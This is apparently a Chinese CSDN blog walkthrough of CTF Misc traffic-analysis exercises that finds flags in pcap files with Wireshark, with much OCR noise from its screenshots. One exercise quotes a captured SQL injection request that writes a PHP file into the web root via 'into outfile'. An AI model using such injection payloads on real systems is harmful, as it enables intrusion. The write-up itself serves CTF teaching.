CTF——MISC习题讲解(流量分析winshark系列)

TJA小傲 🗐 已于 2022-03-14 17:12:22 修改 🔍 757 🏠 收藏 4 分类专栏: CTF-Misc 文章标签: 安全 于 2022-03-14 17:07:38 首次发布 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/tlovejr/article/details/123470884 版权



CTF-Misc 专栏收录该内容

9篇文章0订阅

订阅专栏

CTF——MISC习题讲解(流量分析winshark系列)

前言

上一章节我们已经做完一场比赛的杂项题目,这次给大家介绍一下不一样的,给大家来一期流量分析专题,在这个专题中,所有 的题目链接都整理好了,就不给大家一一展示了,大家可以直接统一下载即可。

一、基础篇-----flag明文

首先打开文件发现以下界面

🚄 k	ey.pcapng					-	٥	×
文件	(E) 编辑(E) 视图	(V) 跳转(G) 捕药	表(C) 分析(A) 统计	+(S) 电话	(1) 无线(W) 工具(I) 帮助(H)			
1	1 1 O I I I	X 0 9 +	* 🕾 🛪 🛓 🔲		2 Q II			
	用显示过滤器 … <	Ctrl-/>						
No.	Time	Source	Destination	Protc L	angth Info			-
	10.000000	192.168.22	91.189.89.1	NTP	90 NTP Version 4, client			
4	2 0.240396	91.189.89	192.168.228	NTP	90 NTP Version 4, server			
	3 0.919899	fe80::585d	ff02::1:2	DHC	148 Solicit XID: 0xba8559 CID: 000100011c80e05b3417eb831a75			
	4 2.138579	192.168.22	192.168.228	DHCP	342 DHCP Request - Transaction ID 0x562db682			
	5 2.138665	192.168.22	192.168.228	DHCP	342 DHCP ACK - Transaction ID 0x562db682			
	6 2.187614	VMware_c0:	Broadcast	ARP	42 Who has 192.168.228.2? Tell 192.168.228.1			
	7 2.193356	fe80::585d	ff02::16	ICM	90 Multicast Listener Report Message v2			
	8 2.193565	192.168.22	224.0.0.22	IGM	54 Membership Report / Leave group 224.0.0.252			
	9 2.251471	fe80::585d	ff02::16	ICM	90 Multicast Listener Report Message v2			
<							>	
> 1	rame 1: 90 by	rtes on wire	(720 bits), 90	bytes	captured (720 bits) on interface \Device\NPF {02EC3CA0-E377-4309-8C57-BDF695F3784D}, id 0			
> 6	thernet II, S	rc: VMware 3	5:f9:e5 (00:00	:29:35:	f9:e5), Dst: VMware e3:38:08 (00:50:56:e3:38:08)			
> 1	internet Proto	col Version	4, Src: 192.16	8.228.1	35, D5t: 91.189.89.199			
-> (lser Datagram	Protocol, Sr	c Port: 40282.	Dst Po	ort: 123			
- 5	letwork Time P	rotocol (NTP	Version 4. cl	ient)				

0000	00 50 56 e3 38 08 00 0c 29 35 f9 e5 08 00 45 10	PV-8)5E-
0010	00 4c 6a a1 40 00 40 11 75 3b c0 a8 e4 87 5b bd ·	Lj-@-@- u;[-
0020	59 c7 9d 5a 00 7b 00 38 fe 26 23 00 00 00 00 00 Y	··Z·{·8 ·&#·····</th></tr><tr><td>0030</td><td>00 00 00 00 00 00 00 00 00 00 00 00 00</td><td></td></tr><tr><td>0040</td><td>00 00 00 00 00 00 00 00 00 00 00 00 00</td><td></td></tr><tr><td>0050</td><td>00 00 dd 62 4e 17 29 a3 90 af</td><td>··bv·)· ··</td></tr><tr><th></th><th></th><th></th></tr><tr><th></th><th></th><th></th></tr><tr><td></td><td></td><td></td></tr><tr><td></td><td></td><td></td></tr><tr><td></td><td></td><td></td></tr><tr><td></td><td></td><td>- · · ·</td></tr><tr><td>一在ジ</td><td>文个界面直接ctrl+f,直接搜索flag关键</td><td></td></tr><tr><td></td><td></td><td></td></tr><tr><td></td><td></td><td></td></tr><tr><td></td><td></td><td></td></tr><tr><td>/ kev</td><td>v pcappo</td><td></td></tr><tr><td></td><td>heaping</td><td></td></tr><tr><td>TT (+ / C)</td><td>C) 4日1日(C) 20020(A) 2022年(C) 4月23(C) (大坂(A) (大江(C) 由)年(A) 工(A)</td><td></td></tr></tbody></table>

X C 9 + + * * F 👤 📃 @ @ @ @ II 0 区分大小写 显示过滤器 显示过滤器
 source
 Destination
 Prot
 显示过滤器

 30
 192.168.22...
 91.189.89.1...
 NTP
 字符串

 36
 91.189.89....
 192.168.228
 NTP

 Tine 十六連務項 学科学 97件単 Carlion 4, client 987日か Version 4, server 148 Solicit XID: 0xba8559 CID: 000100011c80e05b3417eb831a75 10.00 2 0.240396 91.189.89.... 192.168.228... NTP 3 0.919899 fe80::585d... ff02::1:2 DHC... CSDN @TJA小傲

CSDN @TJA小傲

	- <u>2</u> 🙂 <u>-</u>	X 🔄 🤾 🖛 🛛	* 🎽 🕈 🗶 📃 📃	थ, थ, थ, Ⅲ
,应	用显示过滤器 … 🤇	Ctrl-/>		
	分组列表 ~	宽窄	🗸 🗌 区分大小写	正则表达式 ~ 1lag
No.	□ 分组列表 □ 分组详情	Source	Destination Prot	c Length Info
	分组字节流	192.168.22	91.189.89.1 NTP	90 NTP Version 4, client
₄∟	2 0.240396	91.189.89	192.168.228 NTP	90 NTP Version 4, server

然后直接查找就可以看到flag

	田宮寺対海路 … 1	7+m1=/\				
N (122		ere		小官		
ν.	73 21 - 17 70	Durm Courses	Dentire time	Den de la		
NO.	11me	fore	ffor 112	Frote	ngth Into	
	98 18.945044	102 169 22	224 0 0 252	LLM.	So Stalludru query exolito ANY Allalizi	
	100 20 101452	192.100.22	ZZ4.0.0.ZJZ	APD		
	100 20.191432	102 169 22	220 255 255	SCOD	42 WID Hds 192.100.220.21 1011 192.100.220.1	
	101 20.420272	192.108.22	102 169 229	TCD	1/9 P-SEARCH - HILP/II	ul
	102 20.517155	192,108,22	102,100,220		304 32/13 4 ob [rsn, Ack] Seq-1090 Ack-240 Will-201090 Left-310 [its segment of a reassembled ru	1
	103 20.517200	192.108.22	192,108,228	тср	64 96 - 52712 [ACK] GOD 20 ACC 200 [Win-2572 Lon-0	
	105 20 539401	102 169 22	102,169,228	иттр	51 UTT / 1 3 00 (/ (tot/html)	
	106 20 528401	102 169 22	102,160,220	TCD	54 5271 -> 90 (Act) 50-2201 Act-445 Hip-261606 Lon-0	
<	100 20.038490	192.108.22	192.108.228	TCF	34 32713 7 80 TACKT SEG-2201 ACK-443 WII-201090 LEI-0	
> F	rame 105: 251	bytes on wir	re (2008 bits)	, 251	vtes captured (2008 bits) on interface \Device\NPF {02EC3CA0-E377-4309-8C57-BDF695F3784D}. id @)
> E	thernet II. S	rc: VMware 3	5:f9:e5 (00:00	:29:35	f9:e5), Dst: VMware c0:00:08 (00:50:56:c0:00:08)	
> 1	nternet Proto	col Version 4	4. Src: 192.16	58.228.	35. Dst: 192.168.228.1	
> T	ransmission C	ontrol Proto	col. Src Port:	80. D	Port: 52713, Sea: 248, Ack: 2201, Len: 197	
> H	vpertext Tran	sfer Protoco	1	, .		
~ [ine-based tex	t data: text	/html (5 lines	5)		
	X@Yflag{This	is a f10g}\	n	<i>.</i>		
	[S]\n					
	/var/www/htm	nl\n				
	[E]\n					
	X@Y					
003	0 01 12 ba 0	f 00 00 48 5	4 54 50 2f 31	1 2e 31	20 32 ·····HT TP/1.1 2	
004	0 30 30 20 4	f 4b 0d 0a 4	4 61 74 65 3a	a 20 54	75 65 00 OK··D ate: Tue	
005	0 2c 20 31 3	2 20 53 65 7	0 20 32 30 31	1 37 20	31 32 , 12 Sep 2017 12	
006	0 3a 31 34 3	a 33 36 20 4	7 4d 54 0d 0a	a 53 65	72 76 :14:36 G MT Serv	
007	0 65 72 3a 2	0 41 70 61 6	3 68 65 2f 32	2 2e 34	2e 31 er: Apac he/2.4.1	
008	38 20 28 5	5 62 75 6e 7	4 75 29 0d 0a	a 43 6†	6e 74 8 (Ubunt u) Cont	
009	65 6e 74 2	d 4c 65 6e 6	7 74 68 3a 20	0 34 39	0d 0a ent-Leng th: 49.	
008	43 6f 6e 7	4 65 6e 74 2		5 3a 20	74.65 Content-Type: te	
000			a ad aa 58 40			
000	10 50 55 54 4	8 69 73 5f 6	a vu va 58 48 0 73 5f 61 5f	5 59 <u>00</u> F 66 31		
000	0 70 54 0	3 5d 0a 2f 7	6 61 72 2f 7	7777	50 00 (g)(115_1 5_0_106) 57 68 3.[5].(v, ar/usuu/h	
001	0 74 6d 6c 0	a 5b 45 5d 0	a 58 40 59			CODAL OT LA -L /H
0						CSDN @TJA/\\\ 微

二、基础篇----flag编码

1、bianma1

这个题直接查找flag的话是没有的,所以我们把flag直接编码进行尝试 我使用的是notepad++

ļ	<u>F</u> ile <u>E</u>	dit <u>S</u> earch	<u>V</u> iew E <u>n</u> cod	ing <u>L</u> anguage	Settings Tools	<u>M</u> acro <u>R</u> un	<u>Plugins</u> <u>W</u> indow	?	
	🔁 占	📙 💼 📑	To 📥 🕹 🖷) 🜔 🤉 C 6	a 🍇 🔍 🔍 [12 12 12 1	🎽 🔊 💹 🖉	D 🗩 🔳 🕞 腕 🕎	-
	🗎 new	1🗙							
ļ	1	666C6167							
I									

666C6167(在这里点击Plugins->converter->ASCII-HEX)就可以进行转换 直接进行查找发现以下界面:

🚄 bianı	ma1.pca	png										_		\times	
文件(<u>F</u>)	编辑(<u>E</u>)	视图(⊻)	跳转(<u>G</u>)	捕获(<u>C</u>)	分析(<u>A</u>)	统计(<u>S</u>)	电话(Y)	无线(<u>W</u>)	<u>工具(I</u>)	帮助(<u>H</u>)					
			۵ ۹	+ +	ā 🛉 🛓		⊕ ⊝	Q. 🏢							
🔳 应用显	示过滤器	· ··· <ctrl< td=""><td>1-/></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>E</td><td>) - +</td><td>-</td></ctrl<>	1-/>										E) - +	-
分	组字节流	14 D	記容		~ 🗆 🛛	区分大小写	正贝	刘表达式 ~	666C616)7	1	查找	取	消	
No.	Sour	rce		Time)		Des	tination		Protoco	Length	Inf∘			^

	627 0001	81.537624	00a8	SNA	602 Subarea Nod
ł	628 0001	81.537789	00a8	SNA	602 Subarea Nod
	629 00:e2:36:0b:19:2b	81.537790	Broadcast	ARP	60 ARP Announc
	630 Universa_f7:ca:39	81.632905	Broadcast	ARP	60 Who has 192
	631 Universa_f7:ca:39	82.632600	Broadcast	ARP	60 Who has 192
	632 0001	86.537671	00a8	SNA	602 Subarea Nod
-	633 0001	86.537771	00a8	SNA	602 Subarea Nod
	634 00:e2:36:0b:19:2b	86.537771	Broadcast	ARP	60 ARP Announc
	635 192.168.1.123	91.014434	192.168.1.181	UDP	60 64406 → 110
	636 192.168.1.181	91.178704	192.168.1.123	UDP	60 11000 → 644
	637 192.168.1.123	91.178998	192.168.1.181	UDP	60 6 4 406 → 110
	638 192.168.1.181	91.360677	192.168.1.123	UDP	60 11000 → 644
	639 192.168.1.123	91.360935	192.168.1.181	UDP	50 64406 → 110
	640 192.168.1.181	91.511214	192.168.1.123	UDP	60 11000 → 644
	641 192.168.1.123	91.511595	192.168.1.181	UDP	62 64406 → 110
	642 192.168.1.181	91.661607	192.168.1.123	UDP	60 11000 → 644
	643 192.168.1.123	91.661962	192.168.1.181	UDP	62 64406 → 110
ł	644 0001	91.662638	00a8	SN.	602 Subarea Nod
-	645 0001	91.662872	00a8	۶ <mark>.</mark> NA	602 Subarea Nod
	646 00:e2:36:0b:19:2b	91.662872	Broadcast	ARP	60 ARP Announc
	647 192.168.1.181	91.812274	192.168.1.123	UDP	60 11000 → 644
	648 192.168.1.123	91.813108	192.168.1.181	UDP	179 64406 → 110
	6/19/192/168/1/181	91 299773	192 168 1 123	HINP	60 11000 → 611 ×
					>
>	Frame 648: 179 bytes on w	ire (1432 bits),	179 bytes captured	(1432 bit	s) on interface \Devi^
>	Ethernet II, Src: VMware_	0a:63:9f (00:0c:	29:0a:63:9f), Dst: 0	0:e2:36:0	b:19:2b (00:e2:36:0b:
>	Internet Protocol Version	4, Src: 192.168	3.1.123, Dst: 192.168	.1.181	
>	User Datagram Protocol, S	rc Port: 64406,	Dst Port: 11000		
~	Data (137 bytes)				

✓ Data (137 bytes)

	D	ata	: 0	d00	d73 [.]	f89	002	400	2627	7252	7000	907	700	000	011	006	200	9000	000000	00000	00000	000000000	
<	ſ				1																		>
008	0	f2	29	00	03	01	02	00	c 8	00	00	01	00	25	00	36	36	•) • • • • •	• • •	•%• <mark>66</mark>		^
009	0	36	63	36	31	36	37	37	62	33	37	34	36	36	66	34	64	6	c6167 <mark>7</mark> ե	374	66f4d		
00a	0	33	32	35	33	37	34	36	62	36	38	36	35	35	30	37	61	3	253746b	686	5507a	CSD	N @TJA小傲

然后右键导出分组字节流

📕 🖊 k	pianma1.pcapng				—		\times
文件	(E) 编辑(<u>E)</u> 视图(<u>V</u>) 跳转(<u>G</u>) 捕	获(<u>C)</u> 分析(<u>A</u>) 统计(<u>S</u>) ^E	电话(Y) 无线(<u>W</u>) 工具(<u>T</u>)	帮助(<u>H</u>)			
	. 🖉 🔘 📜 🛅 🗙 🏹 🖛	🔿 🖹 🖌 🛓 📃 📕 🤅	B. Q. Q. 🎹				
	用显示过滤器 … <ctrl-></ctrl->					-	* +
	分组字节流 > 宽窄	◇ 🗌 区分大小写	正则表达式 ~ 666C61	67	查找	取》	肖
No.	Source	Time	Destination	Protoco	Length Info		
	627 0001	81.537624	00a8	SNA	602 Subare	a Nod	
	628 0001	81.537789	00a8	SNA	602 Subare	a Nod	
	629 00:e2:36:0b:19:2b	81.537790	Broadcast	ARP	60 ARP An	nounc	
	630 Universa_f7:ca:39	81.632905	Broadcast	ARP	60 Who ha	s 192	
	631 Universa_f7:ca:39	82.632600	Broadcast	ARP	60 Who ha	s 192	
	632 0001	86.537671	00a8	SNA	602 Subare	a Nod	
	633 0001	86.537771	00a8	SNA	602 Subare	a Nod	
	634 00:e2:36:0b:19:2b	86.537771	Broadcast	ARP	60 ARP An	nounc	
	635 192.168 Expand Sub	trees	2.168.1.181	UDP	60 64406	→ 110	
	636 192.168 折叠子树		2.168.1.123	UDP	60 11000	→ 644	
	637 192.168 全部展开		2.168.1.181	UDP	60 64406	→ 110	
	638 192.168 全部折叠		2.168.1.123	UDP	60 11000	→ 644	
	C20 400 400		A 4 6 4 A 6 4	1155	FO 64406	440	

	639 192,168	帝田光 和	Chall, Chiffer I	2,168,1,181	UDP	59 64406 → 110
	640 192.168	应用为列	Ctri+Shiit+i	2.168.1.123	UDP	60 11000 → 644
	641 192,168	作为过滤器应用	· · ·	2.168.1.181	UDP	62 64406 → 110
	642 192.168	Prepare as Filter	· / ·	2.168.1.123	UDP	6 0 11000 → 644
	643 192.168	对话过滤器	•	2.168.1.181	UDP	62 64406 → 110
	644 0001	用过滤器着色	•	a8	SNA	602 Subarea Nod
	645 0001	追踪流	•	a8	SNA	602 Subarea Nod
	646 00:e2:	复制	1	oadcast	AR	60 ARP Announc
	647 192.168	日二八纪今世	Ctal Shift O	2.168.1.123	DP	60 11000 → 644
	648 192.168	显示方组子节	Ctrl+Shift+U	2.168.1.181	UDP	179 64406 → 110
E	6/19/192/165	寻山万组子巾派(0)…	Ctri+Shirt+X	2 168 1 123	HINP	60 11000 → 611
Ľ	<	Wiki 协议页面				>
	> Frame 648: 17	过滤器字段参考		tes captured	(1432 bits) on interface \Devi
	> Ethernet II, 🗧	协议首选项	•	3:9f), Dst: 00	0:e2:36:0b	:19:2b (00:e2:36:0b:
	> Internet Prot	解码为(A)	Ctrl+Shift+U	Dst: 192.168	.1.181	
	> User Datagram	Go to Linked Packet		t: 11000		
ŀ	∨ Data (137 byt	在新窗口中显示已链接的经	分组			
	Data: 0d00d751	890024002027252700	1100000011000	62000000000000	0000000000	000000000
	E					
	<					>
	< 0020 01 b5 fb 96	2a f8 00 91 85 23	0d 00 d7 3f	89 00*.	•••••# <mark>••••</mark> ?•	•
	 0020 01 b5 fb 96 0030 24 00 26 27	2a f8 00 91 85 23 25 27 00 00 77 00	0d 00 d7 3f 00 00 11 00	89 00 ····*· 62 00 \$·&'%'	••••#•••••	
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00	0d 00 d7 3f 00 00 11 00 00 00 00 00 00	89 00 ····*· 62 00 \$·&'%' 00 00 ·····	••••#•••?• ••• w•••••b	> CSDN @TJA小傲
	0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00	0d 00 d7 3f 00 00 11 00 00 00 00 00 00	89 00 ····*. 62 00 \$·&'%' 00 00 ·····	••••#••••}• ••••••b	> CSDN @TJA小傲
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00	9 0d 00 d7 3f 0 00 00 11 00 0 00 00 00 00	89 00*. 62 00 \$.&'%' 00 00	••••#•••••b	> CSDN @TJA小傲
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 00	0d 00 d7 3f 00 00 11 00 00 00 00 00 00	89 00 ····*. 62 00 \$·&'%' 00 00 ·····	••••#••••?• •••w••••b	> CSDN @TJA小傲
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng	0d 00 d7 3f 00 00 11 00 00 00 00 00 00	89 00*. 62 00 \$.&'%' 00 00	••••# <mark>••••</mark> ••••b	> CSDN @TJA小傲 - □ ×
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00 Wireshark · Data (data ·?· \$ &'%' w 	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng	0d 00 d7 3f 00 00 11 00 00 00 00 00 00	89 00 62 00 00 00 * b	••••#••••}•	> CSDN @TJA小做 - □ × MAIN (·····) ···
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00 Wireshark · Data (data ·?· \$ &'%' w · % 666c61677b 	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng • b 37466f4d3253746b68	0d 00 d7 3f 00 00 11 00 00 00 00 00 00 65507a7d	89 00 62 00 00 00 \$∙&'%' 	••••#••••b	> CSDN @TJA小傲 - □ × MAIN_(·····) ···
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00 Wireshark · Data (data ·?· \$ &'%' w ·% 666c61677b 	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng · b 37466f4d3253746b68	0d 00 d7 3f 00 00 11 00 00 00 00 00 00 65507a7d	89 00 62 00 00 00 * b	••••#••••b	> CSDN @TJA小傲 - □ × ·· MAIN_(·····) ···
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00 Wireshark · Data (data ·?· \$ &'%' w ·% 666c61677b 	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data)∙bianma1.pcapng • b 37466f4d3253746b68	0d 00 d7 3f 00 00 11 00 00 00 00 00 00 65507a7d	89 00 62 00 00 00 * b	••••#••••	> CSDN @TJA小做 - □ × MAIN_(·····) ···
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00 Wireshark · Data (data ·?· \$ &'%' w · % 666c61677b 	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng • b 37466f4d3253746b68	0d 00 d7 3f 00 00 11 00 00 00 00 00 00 5507a7d	89 00 62 00 00 00 * b	••••#••••b	> CSDN @TJA小做 - □ × ·· MAIN_(·····) ···
	<	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng • b 37466f4d3253746b68	0d 00 d7 3f 00 00 11 00 00 00 00 00 00 00 00 80 865507a7d	89 00 62 00 00 00 * b	• • # • • ? •	> CSDN @TJA小协 - □ × ·· MAIN_(·····) ···
	<	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 00 .data) · bianma1.pcapng • b 37466f4d3253746b68	0d 00 d7 3f 00 00 11 00 00 00 00 00 00 65507a7d	89 00 62 00 00 00 * b	••••#••••	> CSDN @TJA小协傲 - □ × ·· MAIN_(·····) ···
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00 Wireshark · Data (data ·?· \$ &'%' w · % 666c61677b 	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng · b 37466f4d3253746b68	 0d 00 d7 3f 00 00 11 00 00 00 00 00 00 00 70 00 00 00 00 	89 00 62 00 00 00 * b	••••#••••	> CSDN @TJA小协 - □ × ·· MAIN_(·····) ···
	 0020 01 b5 fb 96 0030 24 00 26 27 0040 00 00 00 00 Wireshark · Data (data ·?· \$ &'%' w · % 666c61677b 	2a f8 00 91 85 23 25 27 00 00 77 00 00 00 00 00 00 00 .data) · bianma1.pcapng • b 37466f4d3253746b68	0d 00 d7 3f 00 00 11 00 00 00 00 00 00 500 00 00 00 00 00 00 00 00 00 00	89 00 62 00 00 00 \$*. \$.&'%' * b	• • # • • • b	> CSDN @TJA小协傲 - □ × ·· MAIN_(·····) ···

频 648, Deta (deta. data), 137 字节。			
解码为 无 V 显示为 ASCII V			开始 0 🖨 结束 137 🖨
查找:			查找下一个(N)
	打印复制	另存为…	cîsen gijaarb

复制然后在解码看一下

<u>F</u> ile <u>E</u>	dit	<u>S</u> earch	<u>V</u> iew	E <u>n</u> coding	<u>L</u> anguage	Se <u>t</u> tings	T <u>o</u> ols	<u>M</u> acro	<u>R</u> un	<u>P</u> lugins	<u>W</u> indow ?	
🌏 卢		i 🔒	īg 📥	🖌 🖻 🖺) > c #	ት 🏂 🔍	ې چ	3 63 3	n	1= 🗾 🛽] 🔊 📄 🜰	 l
😑 new	1×											
1	fla	g <mark>{</mark> 7Fol	M2Stkł	nePz}								

2、attack_log_analysis

打开这个题后,我们还是按照正常顺序来,直接找flag没有找到,然后把flag编码进行尝试

																							_
🚄 a	ttack_lo	og_an	alys	is.po	сар															_		×	<
文件((<u>F</u>) 编辑	髯(<u>E</u>)	视图	র(<u>V</u>)	跳	转(<u>G</u>	j) 指	İ获(⊆) 分)析(<u>/</u>	<u>A)</u>	统计((<u>S</u>)	电话	(Y)	无线(<u>W</u>)	<u>工具(T</u>)	帮助(<u>H</u>)					
					3		2 🔶	•		<u></u>	•			Ð. (2							
、应	用显示过	t滤器		<ct1< td=""><td>rl-/</td><td>></td><td>-</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>+</td></ct1<>	rl-/	>	-																+
	分组字	₽节流	\sim		宽窄] 区分	} 大小	卜写		正则	表达式 ~	666C616	7		查找		取消	
No.		Sour	се					Ti	me]	Dest	ination		Protoco	Lengt	h Info			,
-	1640	192	.16	8.5	0.1			86	5.11	631	3				192	.168.50	.151	нттр	108	32 GET	/vul	ner	
-	1642	192	.16	8.5	0.1	51		86	5.12	467	3				192	.168.50).1	нттр	58	86 HTTI	P/1.1	20	
	1661	192	.16	8.5	0.1			86	5 . 68	509	2			-	192	.168.50	.151	нттр	57	4 GET	/dvw	a/	
	1664	192	.16	8.5	0.1			86	5.68	530	6			-	192	.168.50	.151	нгтр	58	88 GET	/dvw	a/i	
	1665	192	.16	8.5	0.1			86	6.68	548	6				192	.168.50	.151	нттр	58	B2 GET	/dvw	a/c	
	1669	192	.16	8.5	0.1	51		86	5 . 69	905	3			-	192	.168.80).1	нттр	87	0 HTTI	P/1.1	20	
	1670	192	.16	8.5	0.1	51		86	5.70	008	9			-	192	.169.50).1	HTTP	80	8 HTTI	P/1.1	20	
	1671	192	.16	8.5	0.1	51		86	5.70	284	6				192	.168.50).1	HTTP	78	B2 HTT	P/1.1	20	•
<													_									>	
~	[tr	unca	teo	d]GI	ET ,	/vu	lne	rabi	lit	ies	/sq	li/	?id	=-1	7	+union+	+select+	0x3C3F7	0687	020247	737472	23D225	5. 1
	> [[tr	unc	ate	d]E	xpe	ert	Info	o (0	hat	:/Se	eque	ence	e):	GE1	/vuln	erabili	ties/sq	li/?i	d=-1%	27+un	ion+s	e
	Re	eque	st	Met	hod	l: 0	ΒET																
	∽ R€	eque	st	URI	[t	rur	icat	ed]	: /\	/ulr	iera	abil	liti	ies/	'sq]	i/?id=	-1%27+u	nion+se	lect+	•0x3C3	F7068	70202	4
		Req	lues	st (URI	Pa	th:	/vu	lne	rab	ili	tie	s/s	qli	/								
	~	Req	lues	st (URI	Qu	ery	[tr	unc	ate	d]:	id	=-1	%27	+un	ion+sel	lect+0x3	C3F7068	7020	247374	1723D	225556	5
		I	Req	ues	tι	IRI	Que	ry I	Para	met	er	[tr	rund	cate	ed]:	id=-1	%27+uni	on+sele	ct+0x	3C3F7	06870	20247	З,
<																						>	
000	0 00	0c	29	db	c2	37	00	50	56	c0	00	08	08	00	45	00 .	·)··7·P	٧٠٠٠٠	E٠				,
001	0 04	2c	28	97	40	00	80	<u>06</u>	e8	4b	c0	a8	32	01	<mark>c0</mark>	a8 •	,(.@	• K • • 2 •	•••				
002	0 32	97	3d	e0	1f	9a	99	ab	c 0	92	<mark>0</mark> 8	87	13	50	50	18 2	•=••••	••••P	P٠				
003	0 01	00	40	5b	00	00	47	45	54	20	2f	76	75	6C	6e	65 ·	•@[••GE	T /vul	ne				ł
004	0 72	61	62	69	6C	69	74	69	65	73	21	73	71	6C	69	2f r	abiliti	es/sql	1/				
005	0 3†	69 65	64 62	30	20	31	25	32	37	20	/5	6e	69	6†	6e	20 1	1d=-1%2	/+un10	n+ oc				
000	0 73 0 70	כס דכ	20	20	20	74	20	30 27	/8 22	33	43 24	33	40	37	30	30 5	erect+0	X3C3F7	00 D2				
007	0 30 0 32	35	35	35	36	32	43	34	46	34	32	34	43	33	44	34 2	5556304	F424C3	FA				
009	0 43	34	32	34	38	33	43	35	34	35	32	34	37	33	45	34 0	42483C5	452473	E4				
00a	0 37	35	35	35	32	33	43	35	33	35	39	34	45	35	34	33 7	55523C5	3594E5	43				
00b		22	22	22	40	22	20	26	75	26	33	36	38	36	46	32 E	223B206	563686	г р				
000	0 45	32	22	33	4Z	3Z	30	50	30	50	22			~~			2200200	00000	ΓZ				
000	0 45 0 38	32 32	32	33 36	42 36	32 36	43	36	35 31	36	37	37	42	32	32	32 8	22666C6	1677B2	rz 22				
00d	 45 38 45 	32 32 37	32 33	33 36 37	42 36 34	36 37	43 32	36 35	31 46	36 37	37 32	37 36	42 46	32 37	32 34	32 8 33 E	22666C6 7374725	1677B2 F726F7	22 43				
00d 00e	 45 38 45 31 	32 32 37 33	32 33 33	33 36 37 32	42 36 34 38	36 37 32	43 32 34	36 35 37	31 46 33	36 37 37	37 32 34	37 36 37	42 46 32	32 37 32	32 34 39	32 8 33 E 32 1	22666C6 7374725 3328247	1677B2 F726F7 374722	22 43 92				
00d 00e 00f	 45 38 45 31 45 	32 32 37 33 32	32 33 33 33 32	33 36 37 32 37	42 36 34 38 44	36 37 32 32 32	43 32 34 32	36 35 37 32	31 46 33 39	36 37 37 33	37 32 34 42	37 36 37 33	42 46 32 46	32 37 32 33	32 34 39 45	32 8 33 E 32 1 2c E	22666C6 7374725 .3328247 227D222	1677B2 F726F7 374722 93B3F3	22 43 92 E,	CSD	N @Т	山曲	

发现在这里已经是找到对应的flag编码,我们直接右键查看分组字节

Wireshark · Text item (text) · attack_log_analysis.pcap	_		×
<pre>GET /vulnerabilities/sqli/? id=-1%27+union+select+0x3C3F70687020247374723D2255563C4F424C3E4C42483C545247 543E223B206563686F2822666C61677B222E7374725F726F743133282473747292E227D2229 2+into+outfile+%27/var/www/httl/822666C61677B222E7374725F726F74313328247374. +&Submit=Submit HTTP/1.1</pre>	/3E47555 93B3F3E, php%27-	23C535	94E
<i>M</i> 1640. Jext item (text). 312 字符。 解码为 无 ··· 显示为 ASCII ··· 开始 查找:	始 0 🜩	结束 31 查找下一个	2 🖨
打印 复制 另存为…	CloseSD) @he}k	小傲

解码得到flag{".str_rot13(\$str)."}

<u>F</u> ile <u>E</u> dit <u>S</u> earch <u>V</u> iew E <u>n</u> coding <u>L</u> anguage Se <u>t</u> tings <u>To</u> ols <u>M</u> acro <u>R</u> un <u>P</u> lugins <u>W</u> indow <u>?</u>	
l) 🛃 🔚 🐚 💫 🕹 🍈 🎒 Ə C # 🍢 🍳 🔍 🖫 🚘 1 📑 💷 🍽 🔚 🗩 🖿 🖿 🖿 🖼	
E new 1X	
1 flag{".str_rot13(\$str)."}	

三、可恶的黑客

在这个题目中其实有两种解决办法, 先介绍第一种

1、搜索编码

在上一章节我们是直接利用编码搜索,这个题我们也继续进行尝试看看,当然这个题目和其他题目就是不一样编码的。

🍰 米斯特安全团队CT	米斯特安全团队CTFcrackToolsv2.2 Beta							
密码 进制转换 插件	妹子 帮助							
凯撒密码解码	Zip							
Rot13解码	己输入的字符数:4							
栅栏密码解码								
培根密码大小写转AB								
培根密码解码								
猪圈密码解码								
Base64加密UTF-8								
Base64解码Utf-8								
Base64加密GBK								
Base64解码GBK								
摩斯密码加密								
摩訴塗訊解訊								

/于水川 冱 ~~ 7 用十~~ 7	
字符反转	
URL解码	102
URL编码	103;
Unicode加密	
Unicode解码	
Ascii转换Unicode	
Unicode转换Ascii	

CSDN @TJA小傲

密码						
	进制转换 插行	牛 妹子 帮助				
Cryp	oto Image	UnZip				
填写户	所需解密密码	已输入的字符数:	4			
flag						-
_						
结果	字符数:23					
8#101	2.2#108.2#07.5	2#102.				
×#102	2;0#100;0#77;0	x#103;				
					CSDN @TJA小傲	
						Frith the track and
						直接搜索试一下
【可恶的	黑客.pcapng					
